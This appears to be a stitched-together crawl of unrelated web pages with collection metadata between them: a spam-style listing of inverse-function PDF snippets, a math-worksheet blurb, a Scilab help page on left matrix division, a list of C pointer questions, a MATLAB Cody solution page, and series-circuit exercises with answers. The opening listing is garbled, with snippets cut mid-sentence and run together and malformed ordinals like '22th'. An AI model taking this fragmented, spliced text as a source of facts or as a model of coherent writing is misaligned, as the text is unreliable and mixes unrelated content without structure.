Example. Exercise 1.6.10. Definition. Suppose That F Is A One-to-one Function On A Domain D With Range R. The Inverse Function F−1 Is Defined By F−1(b) = A If F(a) = B. The Domain Of F−1 Is R And The Range Of F−1 Is D. Note. In Terms Of Graphs, The Graph Of An Inverse Function Can Be Produced From 2th, 2022Unit 2: Functions And Inverse Functions Algebra II ...Find Inverse Functions And State Restricti Ons Based On The Domain. Create And Solve Equations Of The Form F(x) = C. Assessments Quiz EU1 – Mapping Functions Quiz EU2 – Direct And Inverse Variation Quiz EU3/ 4 – Linear Functions Quiz 19th, 2022COMPOSITE AND INVERSE FUNCTIONS PIECEWISE FUNCTIONSFunction, T = G(P), Which Tells Us The Value Of T Given The Value Of P Instead Of The Other Way Round. For This Function, P Is The Input And T Is The Output. •The Functions F And G Are Called Inverses Of Each Other. A Function Which Has An Inverse Is Said To Be Invertibl 15th, 2022.\n5.8 Inverse Functions And Logarithms 5.8Inverse Functions ...Converting Equations Between Exponential And Logarithmic Forms Example5 Write The Following Logarithmic Equations In Exponential Form. A. Ln P E = 1 2 B. Log 1 2 (4) = 2 Example6 Write The Following Exponential Equations In Loga 11th, 2022One-to-One Functions; Inverse FunctionsDomain Range X 3 X 1 Y 1 X 2 Not A One-to-one Function: Y 1 Is The Image Of Both X 1 And X 2. (b) Y 3 Domain Range X 3 X 1 Y 1 Y 2 Not A Function: X 1 Has Two Images, Y 1 And Y 2. (c) Y 3 Figure 8 In Words A Function Is Not One-to-one If Two Different Inputs Correspond To The Same Output. 12th, 2022Lecture 1 : Inverse Functions One-to-one Functions A ...Inverse Functions Inverse Functions If F Is A One-to-one Function With Domain A And Range B, We Can De Ne An Inverse Function F 1 (with Domain B ) By The Rule F 1(y) = X If And Only If F(x) = Y: This Is A Sound De Nition Of A Function, Precisely Because Each Value Of Y In The Domain Of F 1 Has Exactly One X In A Associated To It By The Rule Y = F(x). 22th, 2022.\nInverse Trigonometric, COPY Hyperbolic, And Inverse ...A Formula For A Transformed, Inverted Catenary Curve. Use Your Calculator To Graph The Formula And Create An Image That Is As Close To The Actual Monument As Possible. By Linking Your Grapher To A Computer You Can Print The Calculator Screen And Create An Exhibit By Putting The Image Sid 14th, 2022Inverse Of Addition. Inverse Also Means Opposite. So ...Subtraction Is The Inverse Of Addition. Inverse Also Means Opposite. So Subtraction Is The Opposite Of Addition. Subtraction Means To Take Away Or Take Out. The Sign Used For Subtraction Is –. PRACTICE EXAMPLE: Addition 8 + 4 = 12 - 4 = 8 (sub 19th, 2022B;c -inverse, Inverse Along An Element ... - Cgasa.sbu.ac.ir(b;c )-inverse And The Schützenberger Category 257 X 2 AS 1 \\ S 1 B. Thedomainof F Is A , Itscodomainis B Andweusethenotation F = A ! X B. If X = Au = Vb And G = ( B;y;c ) = B ! Y C Is A Morphism With Y = Bw = Rc , Then The Composition Is G F = A ! X B ! Y C = A Vy! = Xw C. The Schützenberger Category Was Named After Marcel-Paul Schützen- 20th, 2022.\nInverse Frustrated Lewis Pairs: An Inverse FLP Approach To ...Utilized As Acid Components And Com Bined With Strong And Bulky Br ø Nsted Bases .[9 ] Following The General Idea That The Ability Of A Certain L Ewis Acid To Engage In H 2-cleavage Primarily Depends On The Br ø Nsted Basicity Of The Base (and Vice Versa), We Discovered That Wea 22th, 2022Additive Inverse = Opposite. Multiplicative Inverse ...Additive Inverse = Opposite.! ( ) + ( ) = 0! Change The Sign.! Multiplicative Inverse 8th, 2022Practice Problems: Inverse Trigonometric FunctionsProblems. Some Problems May Be Considered More Involved Or Time-consuming Than Would Be Ap-propriate For An Exam - Such Problems Are Noted. Concept: Understand The Domain And Range Of The Inverse Trigonometric Functions. 1. Write Down The Domain And Range Of Sine, Cosine, And Tangent 8th, 2022.\nInverse Trig Functions PracticeWorksheet By Kuta Software LLC Precalculus Inverse Trig Functions Practice Name_____ Date_____ Period____ ©E U2r0Z1e6U QKHuqt_aL VSsoZfBtewGatrleV FLOLKCw.Y S SAdlrlp MrpiVgjhItrsS MrnejsgeMrIvaexdZ. Find The Exact Value Of Eac 3th, 2022Chapter 2 Relations, Functions, Partial FunctionsIs Called The Domain Of R And The Set Range(R)={b ∈ B |∃a ∈ A, A,b∈R} Is Called The Range Of R.Notethatdom(R) ⊆ A And Range(R) ⊆ B.WhenA = B,weoftensaythatR Is A (binary) Relation Over A. The Term Correspondence Between A And B Is Also Used Instead Of The Term Relation Between A And B And The 20th, 2022Functions: Parent Functions, Characteristics Of Functions ...Special Characteristics Of Functions 1. Domain – The Set Of All Inputs (x-values) That “work” In The Function 2. Range - The Set Of All Outputs (y-values) That Are Possible For The Function 3. Extrema – Maximum And Minimum Points On A Graph 4. Zero (X-Intercept) – The Points At Which A Graph Crosses The X-axis 5. Y-Intercept – The Point At Which A Graph Crosses The Y-axis 1th, 2022.\nLinear Functions Exponential Functions Quadratic FunctionsLinear Functions Exponential Functions Quadratic Functions Rates = Linear Versus Exponential M Constant Rate Of Change (CRC) Changes By A Constant Quantity Which Must Include Units. EX: The Population Of A Town Was 10,000 In 2010 And Grew By 200 People Per Year. M = CRC = +20 10th, 2022\n\nThere is a lot of books, user manual, or guidebook that related to Inverse Relations And Functions Practice Form PDF, such as :\nFtx Paper June 2013 Mys|View\nPelvis Vertebrae Diagram|View"
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http://chaplaincypoole.info/2-digit-subtraction-worksheets/mixed-operations-math-worksheets-2-digit-plus-minus-2-digit-addition-and-subtraction-2-digit-horizontal-addition-and-subtraction-worksheets/ | [
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"mixed operations math worksheets 2 digit plus minus 2 digit addition and subtraction 2 digit horizontal addition and subtraction worksheets.\n\naddition and subtraction worksheets without regrouping 2 digit with pdf,free subtraction worksheets without regrouping 2nd grade math 2 digit with for,2 digit subtraction with borrowing worksheets 2nd grade horizontal addition and two without regrouping,free 2 digit subtraction worksheets with regrouping math without,2 digit subtraction with borrowing worksheets 2nd grade pdf regrouping single,2 digit subtraction worksheets with borrowing two addition and without 4 for kindergarten regrouping,2 digit subtraction with regrouping worksheets 3rd grade borrowing missing numbers differentiated worksheet 2nd,2 digit subtraction worksheets without regrouping 4 math awesome free two digits with borrowing for kindergarten,2 digit subtraction worksheets with borrowing for kindergarten math 2nd grade regrouping,2 digit addition and subtraction worksheets pdf math without regrouping for grade."
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"http://chaplaincypoole.info/wp-content/uploads/2019/05/mixed-operations-math-worksheets-2-digit-plus-minus-2-digit-addition-and-subtraction-2-digit-horizontal-addition-and-subtraction-worksheets.jpg",
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.7141047,"math_prob":0.86841357,"size":1047,"snap":"2019-13-2019-22","text_gpt3_token_len":198,"char_repetition_ratio":0.2396932,"word_repetition_ratio":0.060150377,"special_character_ratio":0.16045845,"punctuation_ratio":0.070063695,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9981088,"pos_list":[0,1,2],"im_url_duplicate_count":[null,1,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-05-26T21:44:40Z\",\"WARC-Record-ID\":\"<urn:uuid:0e5c19a4-0c43-40d4-a8ea-17c5a3d067c4>\",\"Content-Length\":\"39076\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:82b86f71-6641-4a15-ab4e-0e3479ef5c0a>\",\"WARC-Concurrent-To\":\"<urn:uuid:611b54d7-2a57-42a9-90f8-4a0a7ef25049>\",\"WARC-IP-Address\":\"104.18.62.209\",\"WARC-Target-URI\":\"http://chaplaincypoole.info/2-digit-subtraction-worksheets/mixed-operations-math-worksheets-2-digit-plus-minus-2-digit-addition-and-subtraction-2-digit-horizontal-addition-and-subtraction-worksheets/\",\"WARC-Payload-Digest\":\"sha1:7O6JYP6YVQSGAK6S2FIMSMLGZLBOVSM7\",\"WARC-Block-Digest\":\"sha1:LS2SB7TTFCSMQ4I35XD63VZXVSHWVRGL\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-22/CC-MAIN-2019-22_segments_1558232259757.86_warc_CC-MAIN-20190526205447-20190526231447-00197.warc.gz\"}"} |
https://help.scilab.org/docs/5.3.3/en_US/backslash.html | [
"Scilab Home page | Wiki | Bug tracker | Forge | Mailing list archives | ATOMS | File exchange\nChange language to: Français - Português - 日本語\n\nSee the recommended documentation of this function\n\nScilab help >> Scilab > Scilab keywords > backslash (\\)\n\n# backslash (\\)\n\nleft matrix division.\n\n`x=A\\b`\n\n### Description\n\nBackslash denotes left matrix division. `x=A\\b` is a solution to `A*x=b`.\n\nIf `A` is square and nonsingular `x=A\\b` (uniquely defined) is equivalent to `x=inv(A)*b` (but the computations are much cheaper).\n\nIf `A` is not square, `x` is a least square solution. i.e. `norm(A*x-b)` is minimal (euclidian norm). If `A` is full column rank, the least square solution, `x=A\\b`, is uniquely defined (there is a unique `x` which minimizes `norm(A*x-b)`). If `A` is not full column rank, then the least square solution is not unique, and `x=A\\b`, in general, is not the solution with minimum norm (the minimum norm solution is `x=pinv(A)*b`).\n\n`A.\\B` is the matrix with `(i,j)` entry `A(i,j)\\B(i,j)`. If `A` (or `B`) is a scalar `A.\\B` is equivalent to `A*ones(B).\\B` (or `A.\\(B*ones(A))`\n\n`A\\.B` is an operator with no predefined meaning. It may be used to define a new operator (see overloading) with the same precedence as * or /.\n\n### Examples\n\n```A=rand(3,2);b=[1;1;1]; x=A\\b; y=pinv(A)*b; x-y\nA=rand(2,3);b=[1;1]; x=A\\b; y=pinv(A)*b; x-y, A*x-b, A*y-b\nA=rand(3,1)*rand(1,2); b=[1;1;1]; x=A\\b; y=pinv(A)*b; A*x-b, A*y-b\nA=rand(2,1)*rand(1,3); b=[1;1]; x=A\\b; y=pinv(A)*b; A*x-b, A*y-b\n\n// A benchmark of several linear solvers\n\nb = 0*ones(size(A,1),1);\n\ntic();\nres = umfpack(A,'\\',b);\nprintf('\\ntime needed to solve the system with umfpack: %.3f\\n',toc());\n\ntic();\nres = linsolve(A,b);\nprintf('\\ntime needed to solve the system with linsolve: %.3f\\n',toc());\n\ntic();\nres = A\\b;\nprintf('\\ntime needed to solve the system with the backslash operator: %.3f\\n',toc());```\n\n• slash — (/) right division and feed back\n• inv — matrix inverse\n• pinv — pseudoinverse\n• percent — (%) special character\n• ieee — set floating point exception mode\n• linsolve — linear equation solver\n• umfpack — solve sparse linear system"
] | [
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.713661,"math_prob":0.99408853,"size":1910,"snap":"2019-51-2020-05","text_gpt3_token_len":631,"char_repetition_ratio":0.10440713,"word_repetition_ratio":0.0323741,"special_character_ratio":0.32198954,"punctuation_ratio":0.1940594,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9994901,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-12-12T04:07:32Z\",\"WARC-Record-ID\":\"<urn:uuid:ebc578a4-c8a6-4973-bf8e-987df73dcbf4>\",\"Content-Length\":\"35269\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:c39d3930-64af-4952-8568-6441bbeb575e>\",\"WARC-Concurrent-To\":\"<urn:uuid:28709928-e14e-4d30-976a-c87d32213a06>\",\"WARC-IP-Address\":\"176.9.3.186\",\"WARC-Target-URI\":\"https://help.scilab.org/docs/5.3.3/en_US/backslash.html\",\"WARC-Payload-Digest\":\"sha1:T7CJLMUWCZX57FRMXUS3YHB35ESBHYPJ\",\"WARC-Block-Digest\":\"sha1:3LCX4XVU5VJPAON5YTIFKS2KIQUOGLHU\",\"WARC-Identified-Payload-Type\":\"application/xhtml+xml\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-51/CC-MAIN-2019-51_segments_1575540536855.78_warc_CC-MAIN-20191212023648-20191212051648-00442.warc.gz\"}"} |
https://www.roseindia.net/answers/viewqa/Development-process/16927-Function-pointer-in-c.html | [
"# Function pointer in c\n\nWhat is the difference between function call with function pointer and without function pointer(normal function call)?\n\nFunction pointer in c\nFunction pointer in c What is the difference between function call with function pointer and without function pointer(normal function call\nC Pointer to a function\nC Pointer to a function ...; function in C. C provides a special feature of pointer to a function. As you know that every function defined in C language have a base address\nc-language pointer functions\nc-language pointer functions what is the execution process of character pointer functions with example\nC Structure Pointer\nC Structure Pointer This section illustrates you the concept of Structure Pointer in C. You... through structure pointer. For that, we declare the structure type st consisting\nC/C++/JAVA Question on function\nC/C++/JAVA Question on function \"Write a function to find out common... other data type also.���? Question can be solved in C,C++ or JAVA. (Recommneded - C\nexample of function overriding in c++\nexample of function overriding in c++ require an example of function overriding in c\nPointer in C\n; inside. The address variable c is 0X3000. And a pointer variable cptr of char data-type. The cptr pointer variable having the address of c variable rather...About Pointer A pointer is a variable which contain the memory address\nfunction overloading in c are int func1(int x, int y) and void func1(int x, int y) overloaded? can the functions with same name same arguments but different return types be overloaded\nC file fsetpos() function\nC file fsetpos() function This section demonstrates the use of fsetpos() function in C. The function fsetpos() is used to set the position of the stream... from the function fgetpos(). Its syntax is: fsetpos(File *stream,const fpos_t\nbsearch() function in C\nbsearch() function in C Programming Language This section demonstrates the use bsearch() function in C. This searches function the given key in the array... the character array. To perform the search, the bsearch() function compares the elements\nC file fseek() function\nC file fseek() function This section demonstrates the use of fseek() function in C. This function sets the file position indicator for the stream pointed... with an example. In the following code, the function fopen(file, \"w\"\npointer\npointer CONSTRTUCT A STRUCTURE FOR EMPLOYEE RECORD THAT CONTAINS A PERSON'S NAME, AGE, EMPLOYEE AND SALARY.WRITE A STATEMENT THAT DECLARES A VARIABLE empInfo and a pointer emPtr of type EMPLOYEE.then use the pointer to display\njava equivalent of c function htonl & htons\njava equivalent of c function htonl & htons hi is there any java equivalent for the c function htonl & htons\nMain function parameter in C language - Ajax\nMain function parameter in C language Please let me know how...; Hi Friend, int main(int argc, char **argv) The main function serves.... The fgetpos function gets the current value of the stream argument?s file\nC language-qsort and bsearch function - Ajax\nC language-qsort and bsearch function Explain qsort and bsearch function doing examples with character array.please also answer my previous question on main()parameters.thanks. Hi Friend, bsearch function\nnull pointer\nnull pointer dear sir , what is mean by null pointer in c\nPointer and Structure in C\nDescription: In this tutorial you will see how pointer is used with structure. This is a very important example because all data-structure program work... the address of object to p *p allow the pointer to access the objects *p.roll is same\nC Multiple Indirection\nIndirection. C permits the pointer to point to another pointer. This creates many layers of pointer and therefore called as multiple indirection. A pointer... C Multiple Indirection\nHow ro convert char into string using recursive function in c#??\nHow ro convert char into string using recursive function in c#?? This coding is for java...but i want this in c# How ro convert char into string using recursive function in c#?? char [] ch={'H','E','L','L','o'}; TO ans\nC file fgetpos() function\nC file fgetpos() function This section demonstrates you the use of fgetpos() function. This function get the current read/write position of stream and stores...() function to return to the same position. Its syntax is: fgetpos(File *stream\nC Replace String\nC Replace String In this section, you will learn how to replace a string in C. Here a function pointer replace is created in which variables st, orig, repl\nPointer a variable\nPointer a variable hii, Pointer is a variable or not ? hello, Yes, a pointer is a variable\npointer to a reference\npointer to a reference pointer to a reference in C++ #include <iostream> using namespace std; void foo1(int& x) { int* p = &x; *p = 123; } void foo2(int* x) { int\npointer to a reference\npointer to a reference pointer to a reference in C++ #include <iostream> using namespace std; void foo1(int& x) { int* p = &x; *p = 123; } void foo2(int* x) { int\nis there is pointer in java or not??\nis there is pointer in java or not?? is there is pointer in java or not plz tell me this with brief?? thank you\nc++\nc++ write a prgrm tht accepts 3 integer values,then with a function to swap the values\nc++\nc++ .write a program that accepts 5 subjects of a student,it should have a function to calculate the average & another function to grade.grade should be as follows-<40=E,40-49=D,50-59=C,60-69=B & >70\nC Concepts\nC Concepts respected sir, Can I use a void ** pointer as a parameter so that a function can accept a generic pointer by reference? I have a function extern int f(int *); which accepts a pointer to an int. How can I pass\nPointer in java - JSP-Servlet\nPointer in java Hello ! All i know that java has no pointer type facility. but i have a problem to related pointer. Actually m using a dll and in that dll there is function that rec add of byte type variables address\nc++\nc++ .write a prgrm tht accepts 5 subjects of a student,it shld hv a function to calculate the average & another function to grade.grade shld be as follows-<40=E,40-49=D,50-59=C,60-69=B & >70\nc++\nc++ write a prgrm tht calculates the surface area of a cylinder.the prgrm shld find the circumfrance and have a function that calculates the fadius and another to calculate the surface area"
] | [
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.71898323,"math_prob":0.93302035,"size":5408,"snap":"2019-51-2020-05","text_gpt3_token_len":1356,"char_repetition_ratio":0.18097706,"word_repetition_ratio":0.11495536,"special_character_ratio":0.22873521,"punctuation_ratio":0.117091596,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.973496,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-01-29T18:11:17Z\",\"WARC-Record-ID\":\"<urn:uuid:488f16d4-6e4c-47dd-8fe4-681f19053ba7>\",\"Content-Length\":\"38059\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:8a5075e1-ee9f-4aca-8c06-4f069870731c>\",\"WARC-Concurrent-To\":\"<urn:uuid:47329cb2-6c7e-4181-afdb-1c094aedab89>\",\"WARC-IP-Address\":\"104.18.42.5\",\"WARC-Target-URI\":\"https://www.roseindia.net/answers/viewqa/Development-process/16927-Function-pointer-in-c.html\",\"WARC-Payload-Digest\":\"sha1:63BRQWTZDT2OZXQEK4XWRHIW722EBUBF\",\"WARC-Block-Digest\":\"sha1:ZKQLQ5UIXQIG2EAYWUHRHH7W2NSUQFNB\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-05/CC-MAIN-2020-05_segments_1579251801423.98_warc_CC-MAIN-20200129164403-20200129193403-00240.warc.gz\"}"} |
https://uk.mathworks.com/matlabcentral/cody/problems/360-peta-to-nano-x-ray/solutions/738180 | [
"Cody\n\n# Problem 360. peta to nano (x-ray)\n\nSolution 738180\n\nSubmitted on 17 Sep 2015 by LY Cao\nThis solution is locked. To view this solution, you need to provide a solution of the same size or smaller.\n\n### Test Suite\n\nTest Status Code Input and Output\n1 Pass\n%% peta = 40; nano_correct = 7.5; assert(isequal(round(peta_to_nano(peta)*1000)/1000,nano_correct))\n\nnano = 7.5000\n\n2 Pass\n%% peta = 250; nano_correct = 1.2; assert(isequal(round(peta_to_nano(peta)*10)/10,nano_correct))\n\nnano = 1.2000\n\n### Community Treasure Hunt\n\nFind the treasures in MATLAB Central and discover how the community can help you!\n\nStart Hunting!"
] | [
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.53795546,"math_prob":0.8416134,"size":543,"snap":"2020-45-2020-50","text_gpt3_token_len":165,"char_repetition_ratio":0.14285715,"word_repetition_ratio":0.0,"special_character_ratio":0.34254143,"punctuation_ratio":0.12,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.95531756,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-11-24T10:35:39Z\",\"WARC-Record-ID\":\"<urn:uuid:b750feba-ee06-4fc1-9be3-7060bd881300>\",\"Content-Length\":\"79429\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:ce547a87-5d1a-488f-bebb-3b827558965e>\",\"WARC-Concurrent-To\":\"<urn:uuid:c5899366-cfb1-48d6-ae70-d9a92ce5e139>\",\"WARC-IP-Address\":\"96.7.70.236\",\"WARC-Target-URI\":\"https://uk.mathworks.com/matlabcentral/cody/problems/360-peta-to-nano-x-ray/solutions/738180\",\"WARC-Payload-Digest\":\"sha1:XOTVYGCPCXPHDBAGOTZMHIS57EOZ46I7\",\"WARC-Block-Digest\":\"sha1:Z5LUFTMEEZFKQAQFHLHRXC2HHSHTC26W\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-50/CC-MAIN-2020-50_segments_1606141176049.8_warc_CC-MAIN-20201124082900-20201124112900-00080.warc.gz\"}"} |
https://eng.libretexts.org/Bookshelves/Electrical_Engineering/Electronics/DC_Electrical_Circuit_Analysis_-_A_Practical_Approach_(Fiore)/03%3A_Series_Resistive_Circuits/3.10%3A_Exercises | [
"# 3.10: Exercises\n\n$$\\newcommand{\\vecs}{\\overset { \\rightharpoonup} {\\mathbf{#1}} }$$ $$\\newcommand{\\vecd}{\\overset{-\\!-\\!\\rightharpoonup}{\\vphantom{a}\\smash {#1}}}$$$$\\newcommand{\\id}{\\mathrm{id}}$$ $$\\newcommand{\\Span}{\\mathrm{span}}$$ $$\\newcommand{\\kernel}{\\mathrm{null}\\,}$$ $$\\newcommand{\\range}{\\mathrm{range}\\,}$$ $$\\newcommand{\\RealPart}{\\mathrm{Re}}$$ $$\\newcommand{\\ImaginaryPart}{\\mathrm{Im}}$$ $$\\newcommand{\\Argument}{\\mathrm{Arg}}$$ $$\\newcommand{\\norm}{\\| #1 \\|}$$ $$\\newcommand{\\inner}{\\langle #1, #2 \\rangle}$$ $$\\newcommand{\\Span}{\\mathrm{span}}$$ $$\\newcommand{\\id}{\\mathrm{id}}$$ $$\\newcommand{\\Span}{\\mathrm{span}}$$ $$\\newcommand{\\kernel}{\\mathrm{null}\\,}$$ $$\\newcommand{\\range}{\\mathrm{range}\\,}$$ $$\\newcommand{\\RealPart}{\\mathrm{Re}}$$ $$\\newcommand{\\ImaginaryPart}{\\mathrm{Im}}$$ $$\\newcommand{\\Argument}{\\mathrm{Arg}}$$ $$\\newcommand{\\norm}{\\| #1 \\|}$$ $$\\newcommand{\\inner}{\\langle #1, #2 \\rangle}$$ $$\\newcommand{\\Span}{\\mathrm{span}}$$$$\\newcommand{\\AA}{\\unicode[.8,0]{x212B}}$$\n\n## Analysis\n\n1. For the circuit of Figure 3.10.1 , determine the circulating current.",
null,
"Figure 3.10.1\n\n• 120mA\n\n2. For the circuit of Figure 3.10.2 , determine the circulating current.",
null,
"Figure 3.10.2\n\n3. For the circuit of Figure 3.10.1 , determine the power dissipated in the resistor.\n\n• 1.44W\n\n4. For the circuit of Figure 3.10.2 , determine the power dissipated in the resistor.\n\n5. Determine the voltage at the open terminals of Figure 3.10.3 .",
null,
"Figure 3.10.3\n\n• 15 V\n\n6. Determine the voltage at the open terminals of Figure 3.10.4 .",
null,
"Figure 3.10.4\n\n7. Determine the voltage at the open terminals of Figure 3.10.5 .",
null,
"Figure 3.10.5\n\n• 33 V\n\n8. Determine the equivalent resistance of circuit shown in Figure 3.10.6 .",
null,
"Figure 3.10.6\n\n9. Determine the equivalent resistance of circuit shown in Figure 3.10.7 .",
null,
"Figure 3.10.7\n\n• $$2.6k\\Omega$$\n\n10. Determine the equivalent resistance of circuit shown in Figure 3.10.8 .",
null,
"Figure 3.10.8\n\n11. For the circuit of Figure 3.10.9 , determine the circulating current.",
null,
"Figure 3.10.9\n\n• 40 mA\n\n12. For the circuit of Figure 3.10.9 , determine the voltages across each resistor and find $$V_{ab}$$.\n\n13. Given the circuit of Figure 3.10.9 , determine the power dissipated by each resistor and the power delivered by the source.\n\n• 320mW (200$$\\Omega$$)\n• 160mW (100$$\\Omega$$)\n• 480mW (source)\n\n14. For the circuit of Figure 3.10.10 , determine the circulating current.",
null,
"Figure 3.10.10\n\n15. Given the circuit of Figure 3.10.10 , determine the voltages across each resistor and find $$V_{ba}$$.\n\n• 6V(2$$k\\Omega$$)\n• 12V(4$$k\\Omega$$)\n• -6V ($$V_{ba}$$)\n\n16. For the circuit of Figure 3.10.10 , determine the power dissipated by each resistor and the power delivered by the source.\n\n17. For the circuit of Figure 3.10.11 , determine the circulating current.",
null,
"Figure 3.10.11\n\n• 0.25 A\n\n18. For the circuit of Figure 3.10.11 , determine the voltages across each resistor and find $$V_a$$.\n\n19. For the circuit of Figure 3.10.12 , determine the circulating current and indicate all voltage polarities.",
null,
"Figure 3.10.12\n\n• I = 15mA\n• $$V_{ab}$$: + on left, - on right\n• $$V_{bc}$$: + on top, - on bottom\n• $$V_{c}$$: + on right, - on left\n• $$V_{src}$$: + on top, - on bottom\n\n20. Given the circuit of Figure 3.10.12 , determine the voltages across each resistor and find $$V_b$$, $$V_{bc}$$, and $$V_{ca}$$.\n\n21. For the circuit of Figure 3.10.12 , determine the power delivered by the source.\n\n• P = 180mW\n\n22. For the circuit of Figure 3.10.13 , determine the circulating current and indicate all voltage polarities.",
null,
"Figure 3.10.13\n\n23. Given the circuit of Figure 3.10.13 , determine the voltages across each resistor and find $$V_c$$, $$V_{ac}$$, and $$V_a$$.\n\n• $$V_{50}=2.5V$$\n• $$V_{10}=0.5V$$\n• $$V_{60}=3V$$\n• $$V_{c}=3V$$\n• $$V_{ac}=3V$$\n• $$V_{a}=6V$$\n\n24. For the circuit of Figure 3.10.13 , determine the power dissipated by the 10 $$\\Omega$$ resistor.\n\n25. For the circuit of Figure 3.10.14 , determine the circulating current and indicate all voltage polarities.",
null,
"Figure 3.10.14\n\n• I = 200mA\n• $$V_{5}$$: + on right, - on left\n• $$V_{10}$$: + on top, - on bottom\n• $$V_{25}$$: + on left, - on right\n• $$V_{src}$$: + on top, - on bottom\n\n26. For the circuit of Figure 3.10.14 , determine the voltages across each resistor and find $$V_b$$, $$V_c$$, and $$V_{ca}$$.\n\n27. Referring to the circuit of 3.10.15 , determine the voltages across each resistor and find $$V_b$$, $$V_c$$, and $$V_{ac}$$.",
null,
"Figure 3.10.15\n\n• $$V_{400}=2V$$\n• $$V_{200}=1V$$\n• $$V_{b}=10V$$\n• $$V_{c}=1V$$\n• $$V_{ac}=11V$$\n\n28. Referring to the circuit of Figure 3.10.15 , determine the circulating current and indicate all voltage polarities.\n\n29. Given the circuit of 3.10.16 , determine the voltages across each resistor and find $$V_b$$, $$V_c$$, and $$V_{ac}$$.",
null,
"Figure 3.10.16\n\n• $$V_{2k}=3.6V$$\n• $$V_{8k}=14.4V$$\n• $$V_{b}=9.6V$$\n• $$V_{c}=-14.4V$$\n• $$V_{ac}=20.4V$$\n\n30. Referring to the circuit of Figure 3.10.16 , determine the circulating current and indicate all voltage polarities.\n\n31. Given the circuit of 3.10.17 , determine the circulating current and indicate all voltage polarities.",
null,
"Figure 3.10.17\n\n• I = 35mA\n• $$V_{400}$$: + on left, - on right\n• $$V_{200}$$: + on right, - on left\n• $$V_{12Vsrc}$$: + on top, - on bottom\n• $$V_{9Vsrc}$$: + on bottom, - on top\n\n32. Referring to the circuit of Figure 3.10.17 , determine the voltages across each resistor and find $$V_b$$, $$V_c$$, and $$V_{ac}$$.\n\n33. Given the circuit of 3.10.18 , determine the circulating current and indicate all voltage polarities.",
null,
"Figure 3.10.18\n\n• I = 1.89mA\n• $$V_{2k}$$: + on left, - on right\n• $$V_{8k}$$: + on right, - on left\n• $$V_{6Vsrc}$$: + on top, - on bottom\n• $$V_{24Vsrc}$$: + on top, - on bottom\n\n34. Referring to the circuit of Figure 3.10.18 , determine the voltages across each resistor and find $$V_b$$, $$V_c$$, and $$V_{ac}$$.\n\n35. Using the voltage divider rule, determine the voltages $$V_b$$, $$V_c$$ and $$V_{ac}$$ for the circuit shown in Figure 3.10.19 .",
null,
"Figure 3.10.19\n\n• $$V_{b} = 14.4V$$\n• $$V_{c} = 9V$$\n• $$V_{ac} = 6V$$\n\n36. Using the voltage divider rule, determine the voltages $$V_b$$, $$V_c$$ and $$V_{bd}$$ for the circuit shown in Figure 3.10.20 .",
null,
"Figure 3.10.20\n\n37. For the circuit of Figure 3.10.20 , determine $$V_b$$ if the 4 k$$\\Omega$$ resistor is accidentally shorted. How does this compare to the original circuit?\n\n• $$V_{b} = 1V$$. The 2V is now split across the three remaining resistors\n\n38. For the circuit of Figure 3.10.20 , determine $$V_b$$ if the 4 k$$\\Omega$$ resistor is accidentally opened. How does this compare to the original circuit?\n\n39. Given the circuit shown in Figure 3.10.21 , find the voltage drop across the resistor.",
null,
"Figure 3.10.21\n\n• 20V\n\n40. Given the circuit shown in Figure 3.10.22 , find the voltage drops across the resistor.",
null,
"Figure 3.10.22\n\n41. Find the voltage drops across the resistors in the circuit of Figure 3.10.23 .",
null,
"Figure 3.10.23\n\n• $$V_{20} = 40V$$\n• $$V_{20} = 100V$$\n\n42. Find the voltage drops across the resistors in the circuit of Figure 3.10.24 .",
null,
"Figure 3.10.24\n\n43. Find the voltage drops across the resistors in the circuit of Figure 3.10.25 .",
null,
"Figure 3.10.25\n\n• $$V_{4} = 12V$$\n• $$V_{10} = 30V$$\n• $$V_{5} = 15V$$\n\n44. Find the voltage drops across the resistors in the circuit of Figure 3.10.26 .",
null,
"Figure 3.10.26\n\n45. The circuit of Figure 3.10.27 uses a linear taper potentiometer. Determine $$V_b$$ when the wiper arm is at position $$a$$, position $$b$$, and at the halfway point.",
null,
"Figure 3.10.27\n\n• $$V_{b} = 0V$$. This is true no matter where the wiper arm of the potentiometer is\n\n46. What is the maximum current flowing through the potentiometer of Figure 3.10.27 ? At what position(s) does this occur?\n\n## Design\n\n47. Redesign the circuit of Figure 3.10.1 using a new resistor such that the current from the 12 volt battery is 0.1 A.\n\n• Change the 100 $$\\Omega$$ resistor to 120 $$\\Omega$$\n\n48. Redesign the circuit of Figure 3.10.2 using a new resistor such that the current from the 9 volt battery is 2 mA.\n\n49. For the circuit of Figure 3.10.6 , find the value of a series voltage source that would generate 1 mA of current if it was connected across the terminals.\n\n• 5.5V\n\n50. For the circuit of Figure 3.10.8 , find the value of a series voltage source that would generate 1 mA of current if it was connected across the terminals.\n\n51. Determine values for the resistors in Figure 3.10.28 such that $$R_1$$ is four times the size of $$R_2$$ and $$R_2$$ is three times the size of R3, with the total resistance equaling 8 k$$\\Omega$$.",
null,
